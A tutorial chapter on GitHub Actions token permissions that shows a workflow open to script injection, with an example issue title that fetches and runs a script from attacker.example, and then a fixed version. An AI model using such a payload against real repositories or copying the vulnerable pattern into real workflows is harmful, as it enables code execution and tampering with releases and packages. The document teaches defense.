Sub topic 2
Why a broad token is a risk
This chapter assumes you can read a GitHub Actions workflow (on, jobs, steps) and know that workflows can run third-party actions. It also assumes you know how pull requests and issues work. The previous chapter covered what the GITHUB_TOKEN is. Here the question is what happens when something hostile gets hold of it.
The token is a credential, so someone can steal it
For every job, GitHub creates a token that can call the GitHub API on behalf of the workflow. The token expires when the job ends, or after 24 hours at the latest. Its permissions are whatever the workflow's configuration grants.
A job runs as one process tree on one runner. The steps inside it are not isolated from each other. A step that handles the token can:
- Use it for API calls.
- Write it to a file.
- Send it over the network.
- Print it in a form that log masking does not recognize.
You cannot count on the token staying inside the step you meant to give it to. The safe assumption is that any code running in the job can eventually use the permissions the job has.
That makes the token's permission set the limit on the damage. A read-only token gives an attacker little to work with. A token with write access to contents, packages, and pull requests gives an attacker most of what a maintainer has, for as long as the job runs.
How an attacker gets code into your job
Two routes matter most.
A compromised or malicious action. When you write uses: some/action@v1, you run that author's code with your job's permissions. If the author's account is hijacked, or a tag is moved to a malicious commit, your next run executes the attacker's code. In March 2025 the widely used tj-actions/changed-files action was modified to print secrets from the runner into workflow logs. Public repositories that used it had those values exposed. This was a supply-chain attack, and every repository that referenced the action was affected. The token's permissions determined what else an attacker could have done with a stolen token.
Untrusted input that reaches a shell. Issue titles, pull request titles, branch names, and commit messages are controlled by whoever opens them. If a workflow pastes them into a run: script with ${{ }}, the attacker's text becomes part of the script. This is called script injection.
The following workflow combines both problems: a broad token and an unsafe expression.
name: greet
on:
issues:
types: [opened]
permissions: write-all
jobs:
greet:
runs-on: ubuntu-latest
steps:
- env:
GH_TOKEN: ${{ github.token }}
run: |
gh issue comment "${{ github.event.issue.number }}" \
--repo "${{ github.repository }}" \
--body "Thanks for opening: ${{ github.event.issue.title }}"GitHub substitutes the expression before the shell runs. An issue titled "; curl -s https://attacker.example/x.sh | sh; echo " closes the quoted string, runs the attacker's script, and starts a new string to keep the syntax valid. That script runs with GH_TOKEN in its environment. With write-all, it can push code, change releases, and overwrite packages. The workflow only needed issues: write.
Here is the same workflow with both problems fixed:
name: greet
on:
issues:
types: [opened]
permissions: {}
jobs:
greet:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- env:
GH_TOKEN: ${{ github.token }}
ISSUE_NUMBER: ${{ github.event.issue.number }}
ISSUE_TITLE: ${{ github.event.issue.title }}
REPO: ${{ github.repository }}
run: |
gh issue comment "$ISSUE_NUMBER" \
--repo "$REPO" \
--body "Thanks for opening: $ISSUE_TITLE"Passing values through environment variables means the shell treats them as data, not as script text. The injection route is closed. The narrow permission block limits the damage if a different weakness appears later. Later chapters cover both techniques in detail. The point here is that the two defenses work independently, and the permission block is the one that still holds when the other fails.
The path from a weak point to damage
You cannot reliably stop every action from being compromised or every input from being hostile. You can control the right-hand branch of the diagram, which is what the token is allowed to do.
What a broad token lets an attacker do
The table lists common write scopes and what an attacker can do with each one. It describes the token's reach, not a recipe.
| Permission | What a thief can do with write access |
|---|---|
| `contents: write` | Push commits to branches, create or move tags, create or edit releases and release assets. |
| `packages: write` | Publish or overwrite packages and container images, which downstream users may then pull. |
| `pull-requests: write` | Edit, close, or comment on pull requests. Approving them also depends on a separate repository setting. |
| `issues: write` | Edit or close issues and post comments, which can be used for phishing links. |
| `actions: write` | Cancel or re-run workflow runs, and delete artifacts and caches. |
| `id-token: write` | Request an OIDC token and try to exchange it for cloud credentials, if your cloud trust policy allows it. |
Some limits still apply even to a write-all token:
- One repository. The token is scoped to the repository that runs the workflow. It cannot read your other private repositories.
- Short life. It stops working when the job ends, so there is no long-term credential to steal from it. A running attacker has to act while the job is alive.
- No workflow edits. The
GITHUB_TOKENcannot push changes to files under.github/workflows. Writing to that path needs a separateworkflowspermission, which this token cannot be given.
These limits make the token safer than a personal access token. They do not make it safe. Poisoned release assets, a tampered latest image tag, or a malicious commit on a release branch can all happen inside one repository.
Why defaults matter as much as your workflow files
Many workflows do not contain a permissions key at all. In that case the token gets the repository's default, which an administrator sets at the repository, organization, or enterprise level. Older repositories and organizations may still use the permissive default, which grants read and write access to most scopes. The restricted default grants read access to contents and packages only.
This turns a configuration choice into a security issue. If the default is permissive, then every workflow that omits permissions runs with a broad token, including workflows written years ago by someone who has left. A new third-party action added to any of them inherits that access. The next chapter shows how to change the default.
A short checklist for thinking about risk
When you review a workflow, ask these questions in order:
- Which third-party actions does the job run, and are they pinned to a trusted version?
- Does any
run:step insert event data such as titles, branch names, or comments with${{ }}? - What would an attacker with the job's token be able to change? Check the effective permissions, not only what the workflow needs.
- Does the workflow pass the token to a step that does not need it?
If you cannot answer question 3 by reading the file, the permissions come from the default setting, and you need to look there.
Exercise
A workflow has no permissions key, and the repository still uses the permissive default. A third-party action in a test job is compromised and sends the GITHUB_TOKEN to an attacker. The job finishes 4 minutes later. Name two things the attacker could do during those 4 minutes, and two reasons the damage has limits.
Show answer
With the permissive default, the token likely has write access, so the attacker could push a commit to a branch, move a tag, or overwrite a published package or release asset (any two such actions are correct). The damage has limits for these reasons: the token only works for this one repository, it expires when the job ends so it cannot be used afterward, and it cannot modify files under .github/workflows. Setting the permissions to read-only would also have removed the write actions entirely.